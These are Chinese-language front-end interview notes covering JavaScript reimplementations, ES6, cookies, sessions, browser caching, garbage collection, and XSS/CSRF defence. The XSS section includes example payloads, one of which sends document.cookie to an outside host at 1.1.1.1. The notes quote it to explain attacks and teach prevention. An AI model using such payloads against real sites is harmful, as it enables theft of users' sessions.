class EventEmitter_mine {
    constructor() {
        this.handles = {}
    }
    
    add(key, handle, once = false) {
        if (typeof handle === 'function') {
            handle.once = once
            this.handles[key] = this.handles[key] || []
            this.handles[key].push(handle)
        } else {
            throw new Error('handle must be a function')
        }
    }
    on(key, handle) {
        this.add(key, handle)
    }
    once(key, handle) {
        this.add(key, handle, true)
    }
    emit(key, ...args) {
        if (this.handles[key].length) {
            this.handles[key].forEach((fn, i, arr) => {
                if (typeof fn === 'function') {
                    fn.call(this, ...args)
                    if (fn.once) {
                        arr[i] = undefined
                    }
                }
            })
        }
    }
    off(key, handle) {
        if (typeof handle === 'function') {
            if (this.handles[key]) {
                const index = this.handles[key].findIndex(e => e === handle)
                index >= 0 && this.handles[key].splice(index, 1)
            }
        } else {
            throw new Error('handle must be a function')
        }
    }

}

实现instanceof

instance of 实现原理实际根据左边的原型(_proto_ )是否与右边的原型对象(prototype) 相同(同一个引用),如果不是继续获取左边原型链向上上一个原型对象 与右边原型对象比对,比较完原型链如果都没有相同,则false,反之则true

function my_instanceOf(leftValue, rightValue) {
    if (leftValue === null || leftValue === undefined || !leftValue.__proto__) return false
    let leftPro = leftValue.__proto__
    let rightPro = rightValue.prototype

    while (true) {
        if (leftPro === null) {
            return false
        }
        if (leftPro === rightPro) {
            return true
        }
        leftPro = leftPro.__proto__
    }
}
let arr = [1, '', true, [], {}, () => { }, null, undefined]

console.log('---------Number---------');
arr.forEach(e => {
    console.log(my_instanceOf(e, Number));
})
console.log('---------String---------');
arr.forEach(e => {
    console.log(my_instanceOf(e, String));
})
console.log('---------Boolean---------');
arr.forEach(e => {
    console.log(my_instanceOf(e, Boolean));
})
console.log('---------Array---------');
arr.forEach(e => {
    console.log(my_instanceOf(e, Array));
})
console.log('---------Object---------');
arr.forEach(e => {
    console.log(my_instanceOf(e, Object));
})
console.log('---------Function---------');
arr.forEach(e => {
    console.log(my_instanceOf(e, Function));
})

实际上基本类型1 instanceof Object与'' instanceof Object 输出都是false,这里面输出true ,应该是被转换成包装类型,具体解决方法待定。。。

实现new

  • 1:创建一个新对象
  • 2:将新对象的_proto_指向构造函数的prototype对象
  • 3:将构造函数的作用域赋值给新对象(也就是this指向新对象)
  • 4:执行构造函数中的代码(为这个新对象添加属性)
  • 5:返回新的对象
function Person(name, age) {
    this.name = name
    this.age = age

    this.run = () => {
        console.log('run');
    }
}

function myNew(fn, ...args) {
    const obj = Object.create(fn.prototype)
    fn.call(obj, ...args)
    return obj
}

let person = myNew(Person, 'lily', 1)
console.log(person);

实现数组flat、filter等方法

flat 三种实现

let arr = [1, 2, ['3', 4, [5, 6, [7, 8, [9]]]]]
// 递归
function myFlat(arr) {
    let res = []
    arr.forEach(e => {
        if (e instanceof Array) {
            res = res.concat(myFlat(e))
        } else {
            res.push(e)
        }
    })
    return res
}
console.log(myFlat(arr),'递归');
// reduce递归
function myFlatten(arr) {
    return arr.reduce((prev, next) => {
        return prev.concat(Array.isArray(next) ? myFlatten(next) : next)
    }, [])
}
console.log(myFlatten(arr));
// 使用正则 (如果数组中出现包含[]的字符串等,使用上面递归处理)
let str = JSON.stringify(arr)
str = str.replace(/(\[|\])/g, '')
str = str.split(',')
str = '[' + str + ']';
str = JSON.parse(str)
console.log(str);

filter

function my_filter(fn, arr) {
    if (typeof fn === 'function') {
        let res = []
        for (let i = 0; i < arr.length; i++) {
            let resTemp = fn.call(arr, arr[i], i, arr)
            if (resTemp) res.push(arr[i])
        }
        return res
    } else {
        throw new Error(`${fn} must be a function`)
    }

}
let data = my_filter(function (e, i, arr) {
    console.log(this);
    console.log(e, i, arr);
    return e > 3
}, [1, 2, 3, 4, 5, 5, 6])
console.log(data);

lazyMan

function LazyMan(name) {
    class LazyMan_ {
        constructor(name) {
            // 保存name
            this.name = name
            // 任务执行队列 首先放入 自我介绍函数
            this.tasks = [
                () => {
                    console.log(`Hi,this is ${this.name}`);
                    this.next()
                }
            ]
            // 定时器 当所有同步任务完成后(所有任务都加载到tasks任务队列中) 才开始运行定时器任务
            setTimeout(() => {
                this.next()
            }, 0);
        }
        // 取出第一个任务开始执行
        next() {
            let task = this.tasks.shift()
            task && task()
        }
        // 定义eat函数
        eat(meal) {
            let fn = () => {
                console.log(`Eat,${meal}`);
                // 执行完eat函数执行下一个函数
                this.next()
            }
            // 装载eat函数
            this.tasks.push(fn)
            // 返回 LazyMan_实例化对象
            return this
        }
        sleep(time) {
            let fn = () => {
                setTimeout(() => {
                    console.log(`${this.name} wake up ${time} ms `);
                    this.next()
                }, time)
            }
            this.tasks.push(fn)
            return this
        }
        sleepFirst(time) {
            let fn = () => {
                setTimeout(() => {
                    console.log(`${this.name} wake first ${time} ms `);
                    this.next()
                }, time)
            }
            // 插队放到最前面执行
            this.tasks.unshift(fn)
            return this
        }
    }
    return new LazyMan_(name)
}

let lazyMan = LazyMan('Hank')
lazyMan.eat('1').sleep(1000).eat('lunch').sleep(1000).eat('dinner').sleepFirst(1000)

参考自js原生面试题收集 (二) —— 实现一个lazyman

函数currying

  function curry_(fn, args = []) {
            // args 递归的每一个都是初始args 保持为同一个引用类型 地址不变
            const len = fn.length
            return function () {
                [...arguments].forEach(e => {
                    args.push(e)
                })
                let res = null
                if (args.length >= len) {
                    res = fn(...args)
                    args.splice(0)
                } else {
                    res = curry_(fn, args)
                }
                // args = []
                return res
            }
        }
function add(a, b, c, d, e, f) {
    return a + b + c + d + e + f
}
console.log(curry_(add, [1,2])(3)(4)(5, 6));

ES6

class与ES5类区别

  • class 不存在变量提升 必须先声明再使用
  • class 不允许声明已经存在的类,且类内部无法重写当前类名
  • class 必须使用new调用
  • class 内部的静态方法以及原型方法不可被枚举(Object.keys(Person),无法获取到这些方法名)
  • class 内部时严格模式,构造函数是可选的

let、const、var区别

let:

1,不存在变量提升(使用得提前声明)  
2,同一作用域不可重复声明
3,作用域为块作用域
4,声明时可以不赋值  

const:

1,不存在变量提升(使用得提前声明)  
2,同一作用域不可重复声明
3,作用域为块作用域
4,声明时必须赋值  

var:

1,存在变量提升
2,同一作用域可重复声明
3,作用域为函数作用域
4,声明时可以不赋值

箭头函数与普通函数的区别

1,箭头函数是匿名函数,不能作为构造函数
2,箭头函数不绑定arguments,可以使用...args
3, 箭头函数不绑定this,会捕获其上下文this值,作为自己的this4,箭头函数使用call,apply,bind无法完成this绑定,但是传参可以使用
5,箭头函数无原型属性
6,箭头函数不能使用yield,不能用来作为generator函数。

变量的结构赋值

2.ES6-解构赋值及其原理-解构看完这篇足够了

async generator 相互转化

// async函数处理异步
    async function fn1(num) {
        console.log(1)
        let num1 = await Promise.resolve(2)
        console.log(num1)
        await new Promise(resolve => {
            setTimeout(() => {
                resolve(3)
            }, 2000);
        }).then(e => {
            console.log(e)
        })
        console.log(4)
    }
    fn1()
    
    // generator 处理异步
    function fn2() {
        return spawn(function* () {
            console.log(1)
            let num1 = yield Promise.resolve(2)
            console.log(num1)
            yield new Promise(resolve => {
                setTimeout(() => {
                    resolve(3)
                }, 2000);
            }).then(e => {
                console.log(e)
            })
            console.log(4)
        });
    }
    // generator 执行器
    function spawn(fn) {
        return new Promise((resolve, reject) => {
            let gen = fn()
            function step(genFn) {
                let g
                try {
                    g = genFn()
                } catch (error) {
                    return reject(error)
                }
                if (g.done) {
                    return resolve(g.value)
                }
                Promise.resolve(g.value).then(e => {
                    step(function () { return gen.next(e) })
                })
            }
            step(function () { return gen.next() })
        })
    }
    fn2()

promise、async await、Generator的区别

Promise & Generator & Async Await 比较

ES6的继承与ES5相比有什么不同

ES5 的继承,实质是先创造子类的实例对象this,然后再将父类的方法添加到this上面(Parent.apply(this))。ES6 的继承机制完全不同,实质是先创造父类的实例对象this(所以必须先调用super方法),然后再用子类的构造函数修改this。 继承行为在 ES5 与 ES6 中的区别详解

js模块化(commonjs/AMD/CMD/ES6)

node 环境实现common.js

let path = require('path');
let fs = require('fs');
let vm = require('vm');

function require_(path_) {
// 验证路径
// 没有扩展名的话 加上.js 和.json 验证路径
// 如果不存在报错  否则返回文件路径
let pathName = Module.resolvePathName(path_)
// 如果缓存里有 直接返回缓存数据
if (Module.cache[pathName]) return Module.cache[pathName].exports
// 创建一个module对象 保存pathName 还有最后要导出数据 初始状态是个空对象
let module = new Module(pathName)
// 如果是js文件 读取js文件内容 用函数包裹起来 放入vm沙盒 然后执行 最终会保存导出数据在exports
// 如果是json 文件则会保存JSON.parse之后的数据放到exports中
module.load()
// 缓存数据 
Module.cache[pathName] = module
// 返回导出数据
return module.exports

}
function Module(pathName) {
this.pathName = pathName
this.exports = {}
}
Module.extesions = ['.js', '.json']
Module.extesion = {}
Module.cache = {}
Module.resolvePathName = function (path_) {
// 获取绝对路径
let pathName = path.resolve(path_)
// 获取文件扩展名
let extName = path.extname(pathName)
if (extName.length) {             //有扩展名 验证当前路径文件是否存在 不存在报错 
    try {
        fs.accessSync(pathName)
        return pathName
    } catch (error) {
        throw new Error('传入路径不存在')
    }
} else {                        //无扩展名 挨个加入扩展名(.js .json)验证是否存在 不存在报错
    for (let i = 0; i < Module.extesions.length; i++) {
        try {
            fs.accessSync(pathName + Module.extesions[i])
            return pathName + v
        } catch (error) {
            if (i === Module.extesions.length - 1) {
                throw new Error('传入路径不存在')
            }
        }
    }
}
}
Module.prototype.load = function () {
let extName = path.extname(this.pathName)
if (extName === '.js') {
    // 读取文件内容 
    let content = fs.readFileSync(this.pathName, 'utf8')
    // 包裹成一个函数 外面加个括号 这种感觉 (function(){  'content'  })
    let script = '(function (module,require_) {' + content + '})'
    // 放到vm沙盒中 这个沙盒能访问global 但是访问不了外界作用域 避免变量污染
    let fn = vm.runInThisContext(script)
    // 执行沙盒返回出来的函数 传入this 作为第一个参数 require_ 作为第二个参数 
    fn.call(this, this, require_)
} else if (extName === '.json') {
    let content = fs.readFileSync(this.pathName, 'utf8')
    let obj = JSON.parse(content)
    this.exports = obj
}
}


// const data = require_('./test.js')
// console.log(data, data.b());

// const dataj = require_('./tes.json')
// console.log(dataj);

require 与 import区别

  • common.js 输出的是值拷贝,es6模块输出的是值的引用
  • common.js 运行时加载,es6模块是编译时输出接口

浏览器相关知识

浏览器相关知识几乎是每个公司都会问到的考点,里面涉及的东西也比较多。其中缓存、http2、跨域必问。

跨域CORS

跨域CORS浏览器端&&服务器端详解

跨域JSONP

跨域之JSONP

跨域时如何处理cookie

跨域CORS浏览器端&&服务器端详解 使用cookie时候的处理

cookie 原理

本质上讲,Cookie就是一段服务器发送给客户端的一段文本信息,客户端在访问该服务端的时候会将这段文本信息带过去给服务端。

为什么需要cookie,因为http协议是无状态的,一次浏览器与服务器交互后,下一次再进行交互,他们并不能知道他们已经认识过了(上一次交互),这样带来的问题举个例子说就是:

周一我和你见面,你自我介绍你叫亚索,在南京工作。周二我们又见面了,但是因为我与你之间的交互是无状态的,所以我不知道周一我们见过面,所以你只能再一次自我介绍你叫亚索,你在南京工作 。

这种行为看起来很蠢,于是cookie帮我们解决了这个问题,浏览器第一次访问服务器,服务器给浏览器一段文本信息cookie,浏览器收到cookie保存下来,第二次浏览器访问服务器自动的将cookie带上,发送给服务器,服务器检查cookie内容,于是服务器便知道这个浏览器我认识。

换成人类行为就是,我们周一见面,你告诉我你叫永恩,在南京工作,于是我把你的信息写在小纸条上交给你,周二我们再次见面,这一次你上来就把周一我给你的小纸条给我,我通过小纸条,知道你是永恩,你在南京工作,于是我就知道我认识你,你就不必再自我介绍了,

cookie特性

  • 1,不可跨域名性: 那浏览器接受到各个服务器返回的cookie,总不能访问每个服务器地址都把一大堆cookie返还回去吧,所以cookie有一个不可跨域名的机制,由浏览器实现,浏览器访问服务器地址时,会先根据访问地址判断我要带哪一个cookie,访问google带https://www.google.cn域名的cookie,访问baidu带https://www.baidu.com域名的cookie.

  • 2,cookie的操作(读取,删除,修改):

读取cookie可以通过var cookie = document.cookie获取,不过如果设置了HTTP-only Cookie,那么这个操作将无法获取cookie

删除cookie:由于cookie并不提供删除修改操作,所以我们可以通过别的手段去操作cookie,设置Cookie的maxAge属性为0(如果cookie的maxAge意味着这个cookie失效,浏览器会将cookie删除)

修改cookie: 新建一个同名的cookie添加到response覆盖原先Cookie

注意:新建cookie覆盖原先cookie时候,要对cookie除了value maxAge的所有属性(path,domain)等等都得设置相同,否则浏览器认为是两个cookie,不会覆盖。

  • 3,cookie的路径
    domain属性决定允许访问cookie的域名,path属性决定允许访问cookie的路径。domian:www.baidu.com,path:/like 意味着cookie允许www.baidu.com/like访问cookie。如果path设置/意味着允许所有path路径访问cookie。

cookie安全问题

顺便提一嘴cookie被盗用或者泄露:,如果遭受XSS攻击,泄露了你的cookie,或者csrf攻击,被别人盗用了cookie,危害都是很大的,我通过小纸条cookie知道你是永恩,你在南京工作,但是现在坏蛋腕豪把这个小纸条偷走了,交给我,我认纸条不认人,我就会把腕豪当作永恩,于是我和永恩之间的小秘密都会被腕豪知道,比如永恩告诉我他有个弟弟叫做亚索,腕豪不知道,于是腕豪问我,我就告诉了腕豪永恩有个弟弟叫亚索。

本文参考:
浅谈Cookie与Session

session 原理

session 是保存在服务器端用来记录客户端信息的一块数据,客户端第一次访问服务器,服务器会为客户端创建一个session,同时返回给客户端的cookie中存放一个sessionId(标识服务器中存储的session),在客户端下一次带着cookie访问服务器时候,服务器获取到sessionId,通过sessionId找到当前客户端对应的session,里面存有其数据,服务器就能认识当前客户端。

**session与cookie **

  • session 依赖cookie实现(通过cookie传输sessionid)
  • session保存在服务器端,cookie保存在客户端

**如果禁用cookie怎么使用session? **

  • url重写。

web storage

分为 sessionStorage localStorage

  • sessionStorage
    sessionStorage 用来存储当前会话的数据,存储在sessionStorage 的数据将在页面会话结束时清除,页面会话会在浏览器打开期间,以及恢复/重新加载页面一直保持,所以当窗口或者当前标签页关闭,sessionStorage将会被清除。

sessionStorage只可以在同源(同协议,同域名,同端口)且同一页面使用。不过如果当前标签页存在iframe标签且他们同源或者通过a标签/window.open/location.href打开的同源页面也是可以访问当前的sessionStorage。

  • localStorage
    localStorage 同样用来存储数据,与sessionStorage较大不同的是,如果不是通过人为删除,其数据将一直保存,即使你关闭当前标签页或者浏览器。

与sessionStorage不同的是, localStorage可以在相同浏览器同源的不同页面使用,可以是不同标签页的页面,也可以是不同窗口的页面。

** sessionStorage localStorage 相同点 :**

  • 1,保存在浏览器端
  • 2,同源情况下才可以访问
  • 3,操作方法相同(setItem,getItem,removeItem,clear,也都可以通过js对象.的方式设置属性)
  • 4,存储容量(通常5MB)

** sessionStorage localStorage 不同点 :**

  • 1,生命周期不同 (sessionStorage在浏览器窗口关闭或者当前标签页关闭就会清除,localStorage永久保存)
  • 2,作用域不同 (sessionStorage在同源的同一页面,以及页面内打开或者存在的同源页面可以共享,localStorage在同源但可以是不同的页面比如
    http://www.aa.com:8080/index.html http://www.aa.com:8080/index2.html,他们可以是不同标签页,也可以是不同窗口的页面。

参考文章:
HTML5-Web Storage
localStorage 和 sessionStorage 简介

强缓存、协商缓存、CDN缓存

当浏览器访问一个已经访问过的资源:

1,首先看看是否命中强缓存,如果命中,直接使用缓存,

2,如果未命中,就向服务器发送请求查看是否命中协商缓存,

3,如果命中协商缓存,服务器会返回状态码304告知浏览器使用本地缓存。

4,如果都没有命中,发送新的请求获取资源。

** 强缓存: **

  • Expires:服务器会返回Expires(比如Expires:Mon,18 Oct 2066 23:59:59 GMT)告诉客户端在这个时间之前都可以使用缓存,当客户端接受到Expires,会进行缓存操作,在Expires 字段值指定的时间之前,响应的副本会一直被保存,当下一次需要请求相同的资源,如果在这个时间段之内,则使用缓存,不会对服务器发起请求。

    缺点: Expires依赖于本地时间戳,如果本地时间与服务器时间不一致,可能会出现问题。

  • Cache-Control:浏览器初次访问服务器,返回数据会被缓存,当第二次访问,浏览器首先验证max-age(Max-age = x指令:请求缓存后的X秒内不再发起请求),如果在该时间段内,则使用缓存,如果不在,则请求服务器,服务器会验证文件是否修改过,如果未修改,返回304,浏览器直接从缓存中获取数据。如果修改过,返回200,以及新的数据。浏览器将新的数据缓存下来。 cache-control 除了该max-age字段外,还有下面几个比较常用的设置值:

    • no-cache:需要进行协商缓存,发送请求到服务器确认是否使用缓存。

    • no-store:禁止使用缓存,每一次都要重新请求数据。

    • public:可以被所有的用户缓存,包括终端用户和 CDN 等中间代理服务器。

    • private:只能被终端用户的浏览器缓存,不允许 CDN 等中继缓存服务器对其缓存。

    • Cache-Control 与 Expires 可以在服务端配置同时启用,同时启用的时候 Cache-Control 优先级高,以Cache-Control为准 。

** 协商缓存: **

当强缓存没有命中的时候,浏览器会发送一个请求到服务器,服务器根据 header 中的部分信息来判断是否命中缓存。如果命中,则返回 304 ,告诉浏览器资源未更新,可使用本地的缓存。 这里的 header 中的信息指的是 Last-Modify/If-Modify-Since 和 ETag/If-None-Match.

  • Last-Modify/If-Modify-Since:浏览器初次请求服务器资源,服务器返回header会加上Last-Modify(当前资源最后修改的时间)。当浏览器再次请求该资源,浏览器发送请求头会包括If-Modify-Since这个值就是上次返回的Last-Modify,服务器接受到If-Modify-Since,会根据资源最后修改时间判断是否命中缓存。命中缓存,返回304,不返回资源内容,不返回 Last-Modify。

    ** 缺点: **
    1,短时间内资源发生了改变((只能精确到秒,所以间隔时间小于1秒的请求是检测不到文件更改的),Last-Modified 并不会发生变化。
    2,如果这个资源在一个周期内修改回原来的样子了(比如:第一次数据更改,第二次觉得不合适→改回来),我们认为是可以使用缓存的,但是 Last-Modified 可不这样认为,因此便有了 ETag。

  • ETag/If-None-Match:浏览器请求服务器资源,服务器会返回ETag(Etag是基于文件内容进行编码的,如果文件内容有所改动,ETag也会发生变化,ETag 可以保证每一个资源是唯一的),浏览器缓存资源,再次请求该资源,请求头包括If-None-Match(就是ETag的值),服务器对比接受到的If-None-Match与自己的ETag,如果没有变化,返回304,同时返回ETag。如果发生变化返回新的数据。** Last-Modified 与 ETag 是可以一起使用的,服务器会优先验证 ETag,一致的情况下,才会继续比对 Last-Modified,最后才决定是否返回 304。 **

** 浏览器缓存(强缓存,协商缓存)内容整理大部分参考自:浏览器缓存、DNS缓存、CDN缓存 有兴趣的可以去看看 **

** CDN缓存 **

了解CDN缓存之前,得先了解什么是CDN(内容分发网络:Content Delivery Network)。

举个例子:过去的日子,你在村里,想买火车票,但是火车票只有市火车站可以买,所以你不得不去市里买火车票,是不是很不方便,但是后来发展好了,你所在的县城出现了火车票代售点,你可以直接在县城买,不用去市里买,是不是很方便。

这里的 浏览器就是你,请求的数据就是买的火车票,源服务器就是市火车站,CDN就是县火车票代售点。

**CDN如何缓存: **

1,客户端向CDN服务器请求数据时,先从本地缓存获取数据,如果数据没有过期拿过来用,如果过期,向CDN边缘节点请求数据。

2,CDN接受到数据请求,首先检查自己本地数据有没有过期,没有过期,返回客户端数据,过期则向源服务器请求数据,接受到数据,缓存数据,并返回数据给客户端。

** CDN边缘节点缓存机制,一般都遵守http标准协议,通过http响应头中的Cache-Control和max-age的字段来设置CDN边缘节点的数据缓存时间。 **

HTTP状态码

HTTP 状态码

HTTP HTTP2 HTTPS

三次握手与四次挥手

从输入URL到呈现页面过程

垃圾回收机制

一般分为 引用计数 与 标记清除

引用计数

引用计数是跟踪记录每个值被引用的次数,垃圾回收器将被引用次数为0的值进行回收。

举个例子:将一个引用类型的值V赋给变量A 的时候,那么这个引用类型的值V被引用的次数就是1,如果V又被变量B引用(var B = A),那么V的被引用次数就是2,如果A解除对当前V的引用(A=null)那么V的被引用次数就是1,如果B也解除对V的引用(B=null),那么V的被引用次数就是0,这个时候没有办法再访问这个引用类型值V,因此就可以将V的内存占用回收,当下一次垃圾回收机制运行时,V的内存占用就会被释放。

** 注意须知:有一种特殊情况引用计数策略将无法回收内存,他就是循环引用。**

let a = {} //  a 指向的引用类型叫做A
let b = {} //  b 指向的引用类型叫做B
b.bb = a
a.aa = b
a = null
b = null

1,第1,2行: a保持对A的引用,b保持着对B的引用,A的被引用次数1,B的被引用次数1

2,第3,4行:B对象中的bb保持着对A的引用,,A的被引用次数2,A对象中的aa保持着对B的引用,B的被引用次数2

3, 第5,6行: a,b解除对A,B的引用,A的被引用次数1,B的被引用次数1。

** 但是此时,A,B实际上是需要被清除的垃圾,因为没人需要使用他们,但是他们内部又保存着对对方的引用,他们的引用次数恒为1,所以垃圾回收器这时就无法将其回收,导致内存泄露。**

标记清除

标记清除也是找到垃圾将其回收,但是它找垃圾的方式和引用计数的方式不一样。

引用计数通过判断值是否是零引用,是的话就是垃圾,

标记清除是通过从根部出发遍历看是否能到达某个对象(或者说某个存放在堆内存中的值),如果可以到达,那么就认定这个对象是我们需要的,不需要回收,标记为活动对象,如果无法通过这波操作找到的对象就是垃圾,没人在使用,标记为非活动对象,然后等待垃圾回收器清除他们。

那么标记清除中的是个什么玩意,借用V8 垃圾回收原来这么简单?文中的解释(参考了许多文章,还是这篇文章解释的好,推荐大家瞅瞅)

根 就是GC Root ,在浏览器环境中 GC Root通常包括并不限于以下几种:

  • 全局 window 对象(位于每个 iframe 中)

  • 文档 DOM 树,由可以通过遍历文档到达所有原生 DOM 节点组成

  • 存放栈上的变量。

了解这些让我们看下面这段代码 还有这张图 实际理一理

function incre(){
    let obj1 = {num :1}
    return function(){
        return  ( obj1.num++,obj1)
    }
}
let res = incre()

全局变量res(这个可以看作根部,因为res位于window对象中)接受到incre函数返回的匿名函数这里叫他fn(fn就是个函数对象,保存在堆内),同时fn中obj1变量又指向 * {num :1} 这个对象,于是就形成了一条链路, res=>fn=> {num :1},按照上面对标记清除的定义, {num :1}是可以从根部(res)到达的,那么{num :1}就会被标记为活跃对象,不会被当做垃圾回收。*

但是当我们在上面代码最后加上一句 res = null,res与fn之间的链接就断开,那么此时{num :1}以及fn对象无法从根部遍历到达,那么fn,{num :1}二者就会被标记为非活跃对象,等待被垃圾回收。

** 这样看来如果最后没有加 res = null ,就会造成内存泄露,但基于此,引申出来一个新的问题看下面的代码**

function incre(){
    let obj1 = {num :1}
    return function(){
        return  ( obj1.num++,obj1)
    }
}
incre()

这段代码与上一段代码的区别在于最后直接incre()而不是let res = incre(),我个人觉得这并不会造成内存泄露,如有不对请留言指正,看下图
因为let res = incre()变成了incre()所以图中res=>fn的联系断开,所以fn与{num :1}无法从根节点遍历到,所以会被标记为非活跃对象,是个垃圾,可以回收

**但是有人会问,咱们在incre函数中定义的变量obj1这是保存在栈中 并指向 堆中{num :1},那这不是满足标记清除『 存放栈上的变量』 条件吗,其实我也有这个疑问,但是我仔细想想还是不满足的,因为incre函数执行完,其函数执行上下文会被销毁,包括其变量对象中的obj1,也会被销毁,所以,obj1已经被干掉了,不会指向{num :1},那当let res = incre() 这样写,我觉得obj1就不会销毁,因为这里形成了闭包,incre执行上下文虽然会被销毁,但是由于obj1在闭包中被引用,所以作用域链不会被销毁,所以obj1会一直存在。 **

---以上是我对垃圾回收的理解,为了整理这些(主要是标记清理),看了诸多文章,如果总结的哪里不准确,欢迎留言。---

web安全(一般我都会从xss和csrf说起。 )

什么是xss,如何预防

什么是xss

xss(cross site script):跨站脚本攻击。是指 利用web服务器漏洞 向客户端浏览器发送恶意代码,客户端执行恶意代码,恶意代码可能会包括发送cookie,重定向等。(我个人理解主要是对当前页面插入自动或者被动执行的恶意js脚本,浏览器触发恶意脚本导致被攻击,比如说脚本能够获取cookie,token等)

XSS 攻击分为 三种

  • 反射型XSS
  • 存储型XSS
  • dom型XSS

1,反射型XSS攻击:服务器对用户输入的数据未经校验过滤,直接返回原输入数据,如果原来输入数据包含恶意代码,那么恶意代码将会执行。(关键在于通过url控制了页面的输出)


<script>alert(‘xss’)</script> // 恶意代码1

<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie</script> // 恶意代码2

当用户在输入框输入恶意代码1,2,提交.

如果服务器未对代码校验(http://127.0.0.1:8080?param=恶意代码

直接返回恶意代码到网页上(<div>恶意代码</div>),导致恶意代码执行.

恶意代码1: 黑客将http://127.0.0.1:8080?param=<script>alert(‘xss’)</script>链接发送给用户,用户打开链接页面将会出现alert弹窗

恶意代码2: 黑客将http://127.0.0.1:8080?param=<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie</script>链接发送给用户,用户打开链接页面,浏览器将会生成图片,图片访问地址http://1.1.1.1/c.php?output="+document.cookie,导致用户cookie泄露。

2,存储型XSS攻击:用户客户端输入恶意代码,服务器未经校验,直接存储到数据库,数据库将返回的数据展示到页面上,导致所有访问当前页面的用户遭受攻击,关键在于通过数据库返回数据控制了页面的输出。(比较经典的例子,用户论坛录入恶意评论代码:(楼主说得对<script>alert('hello')</script>),恶意评论被存储到数据库,并渲染到浏览器页面上,当有人打开评论页面,恶意评论中的<script>alert('hello')</script>将会执行,遭受攻击

3,DOM型XSS攻击: 恶意URL参数直接反应在页面上,与反射型区别,反射型发送请求到服务器,服务器的反馈中有恶意代码。dom型则不需要服务器反馈,直接js获取url内的参数,在页面上反应,导致恶意代码执行。

参照DOM型XSS

如何预防XSS攻击

1,阻止攻击者提交恶意代码
2,防止浏览器执行恶意代码

1,输入过滤:

  • 在用户输入的时候对输入内容进行过滤(例如不允许用户输入特殊字符等)。
  • 写入数据库之前对输入内容进行转义(例如 5 < 7 被转义 5 &lt; 7)。

注意:

  • 对于第一种输入过滤:但是如果攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
  • 对于第二种输入过滤:如果转义后的数据通过ajax等返回,返回的数据由于转码问题,就是5 &lt; 7,导致无法进行计算,vue等模板无法展示正确。

所以输入过滤并不是稳妥办法。

2,纯前端渲染:

明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码。

注意:

  • 纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,如果这些属性需要使用,务必对javascript:xxx格式进行处理,避免对<a href='javascript:alert(1)'></a>这样的代码渲染)。

3,输入内容长度控制:对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度

4,设置HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

5, 使用textContent,而不是innerHTML,textContent不会把内容解析为html

文章参考(更多具体介绍方案有兴趣的可以去看看原文):

XSS 跨站脚本检测,常见攻击手段——反射型

前端安全系列(一):如何防止XSS攻击?

什么是csrf,如何预防

什么是CSRF

CSRF (cross site request forgery) :跨站请求伪造。攻击者通过借助受害者的cookie,冒充受害者向服务器发送伪造请求,从而在未授权情况下执行需要授权的操作。

注意:crsf攻击只是借助用户cookie进行非用户授权操作,并不能获取cookie,而xss攻击能够获取到用户cookie。

举个例子:

  • 1,第一天用户A 登录并访问宠物网站cat.com
  • 2,cat.com服务器返回cookie给用户A,用户A保存cookie。
  • 3,第二天用户A 再次访问宠物网站cat.com,浏览器自动将上一次保存的cookie放入请求头中,无需用户A进行登录操作,直接进入宠物网站cat.com.
  • 4,于是用户A在宠物网站cat.com对一条暹罗猫的动态进行评论(评论'lovely')操作(调用接口http://cat.com/api/like?id=1&&content='lovely')。该暹罗猫动态获得一条评论。
  • 5,恶意用户B希望A能够多次对暹罗猫那条动态评论,于是在自己服务器部署了一个页面,只要访问该页面就会发送请求(http://cat.com/api/like?id=1&&content='lovely'),实现方式可以是任何形式,图片src,表单提交等。于是恶意用户B使用某种计谋让用户登录cat.com后点击链接访问自己刚才设置的服务器页面。
  • 6,浏览器便会带着cookie,发送请求(http://cat.com/api/like?id=1&&content='lovely'),于是暹罗猫动态下又多了一条lovely评论,在用户A 不知情的情况下。

例子好像不是很好,建议看参考文章讲解。

如何预防

  • 1, 使用token
    服务器放弃使用cookie对用户作校验,而是使用token,在用户登录的时候服务器返回token给用户,客户端保存token,用户每次对服务器发送请求的时候,都把token放入请求头中,服务器对token做校验。(同源页面每次取token放入请求,而csrf只能依靠浏览器自己带上cookie,并不能进行「获取token,将token放入请求」这种操作,所以token可以解决csrf攻击。如果hacker能做到「获取token,将token放入请求」,那这就是XSS攻击的问题了。)

  • 2,同源检测(服务器校验referer/origin )

服务器校验请求中的referer/origin ,这两个字段会包含请求的来源域。(见下图掘金的请求) 服务器校验域名便可以知道请求是否是本站发出的。不是本站发出的则拒绝请求。

注意:这里不推荐使用referer/origin 进行判定,referer可以伪造,origin在请求返回302重定向的时候以及IE11的跨域中并不会携带

  • 3,使用samesite
    Cookie 的 SameSite 属性可以用来限制第三方 Cookie,可以设置当跨站点不发送cookie,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。

注意:这里的samesite属性比较新,兼容性可能不太好。综上推荐使用token防止csrf攻击。

参考文章: 跨站请求伪造—CSRF

文章引用:

CSS实现水平垂直居中的1010种方式(史上最全)
2020前端面试(一面面试题)

16325